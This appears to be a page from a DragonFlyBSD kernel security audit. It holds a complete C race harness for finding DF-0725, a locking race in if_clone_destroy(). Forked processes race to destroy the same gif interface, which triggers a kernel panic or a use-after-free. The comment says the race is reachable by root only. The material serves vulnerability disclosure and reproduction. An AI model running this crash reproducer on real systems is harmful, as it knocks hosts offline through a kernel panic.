DragonFlyBSD Kernel Audit
DF-0725 / race_destroy.c
← back to finding ↓ download raw
/*
 * DF-0725 race harness — if_clone_destroy() UAF / double-free-unit race.
 *
 * The bug (sys/net/if_clone.c:104-135):
 *   if_clone_destroy() does:
 *     ifnet_lock();            // 110
 *     ifp = ifunit(name);      // 111
 *     ifnet_unlock();          // 112  <-- lock dropped
 *     ...
 *     if_clone_lookup(ifp->if_dname)   // 116  <-- deref ifp WITHOUT lock
 *     unit = ifp->if_dunit;            // 119  <-- deref ifp WITHOUT lock
 *     ...
 *     ifnet_lock();            // 126  <-- re-take
 *     if_clone_free_unit(ifc, unit);   // 127  <-- clears bitmap bit
 *     error = ifc->ifc_destroy(ifp);   // 128  <-- may free ifp
 *     ifnet_unlock();          // 132
 *
 * Two concurrent destroyers of the same interface both pass ifunit() with a
 * live ifp, then both enter the ifnet_lock() critical section at 126. The
 * second one's if_clone_free_unit() re-clears an already-cleared bitmap bit
 * -> KKASSERT "bit is already cleared" panic (if_clone.c:367-368) when
 * INVARIANTS is ON (default GENERIC). With INVARIANTS OFF the second one
 * proceeds to ifc->ifc_destroy(ifp) on a freed ifp -> UAF.
 *
 * Reachability: SIOCIFDESTROY is gated by caps_priv_check(SYSCAP_RESTRICTEDROOT)
 * (sys/net/if.c:2013); tun/tap auto-destroy-on-close is also root-gated
 * (tunopen/tapopen both require SYSCAP_RESTRICTEDROOT). So this race is
 * root-triggerable only -> root->kernel DoS / hardening gap.
 *
 * Build:  cc -O2 -o race_destroy race_destroy.c
 * Run:    ./race_destroy [NCHILD] [ROUNDS]   (default 8 5000)
 */

#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

#define IFACE "gif666"

static int
do_ioctl(int s, unsigned long cmd, const char *name)
{
	struct ifreq ifr;
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	return ioctl(s, cmd, &ifr);
}

int
main(int argc, char **argv)
{
	int nchild = (argc > 1) ? atoi(argv[1]) : 8;
	int rounds = (argc > 2) ? atoi(argv[2]) : 5000;
	int s, i, r;
	int barrier[2];

	if (pipe(barrier) != 0) {
		perror("pipe");
		return 2;
	}

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return 2;
	}

	/* Pre-clean: make sure IFACE is not present. */
	do_ioctl(s, SIOCIFDESTROY, IFACE);

	fprintf(stderr,
	    "[*] DF-0725 race: %d children x %d rounds on %s\n",
	    nchild, rounds, IFACE);
	fprintf(stderr,
	    "[*] Expect: kernel panic (KKASSERT 'bit is already cleared'\n"
	    "     at if_clone_free_unit, or UAF/free-memory access)\n");

	for (i = 0; i < nchild; i++) {
		pid_t pid = fork();
		if (pid == 0) {
			int cs, j;
			char tok;
			close(barrier[1]);
			cs = socket(AF_INET, SOCK_DGRAM, 0);
			if (cs < 0) _exit(3);
			for (r = 0; r < rounds; r++) {
				/* Block until parent releases us (iface created). */
				if (read(barrier[0], &tok, 1) != 1)
					_exit(4);
				/* RACE: all children call SIOCIFDESTROY at once. */
				for (j = 0; j < 8; j++)
					do_ioctl(cs, SIOCIFDESTROY, IFACE);
			}
			close(cs);
			_exit(0);
		} else if (pid < 0) {
			perror("fork");
			return 2;
		}
	}
	close(barrier[0]);

	for (r = 0; r < rounds; r++) {
		/* Ensure interface exists for this round. */
		if (do_ioctl(s, SIOCIFCREATE, IFACE) != 0) {
			/* Maybe a leftover from a partial round; destroy & retry. */
			do_ioctl(s, SIOCIFDESTROY, IFACE);
			if (do_ioctl(s, SIOCIFCREATE, IFACE) != 0)
				continue;
		}
		/* Release all children to race-destroy it. */
		for (i = 0; i < nchild; i++) {
			if (write(barrier[1], "x", 1) != 1)
				/* children may have exited (panic) */;
		}
		if ((r + 1) % 500 == 0)
			fprintf(stderr, "[*] round %d/%d\n", r + 1, rounds);
	}
	close(barrier[1]);

	for (i = 0; i < nchild; i++)
		wait(NULL);

	fprintf(stderr, "[+] completed %d rounds with no panic.\n", rounds);
	do_ioctl(s, SIOCIFDESTROY, IFACE);
	return 0;
}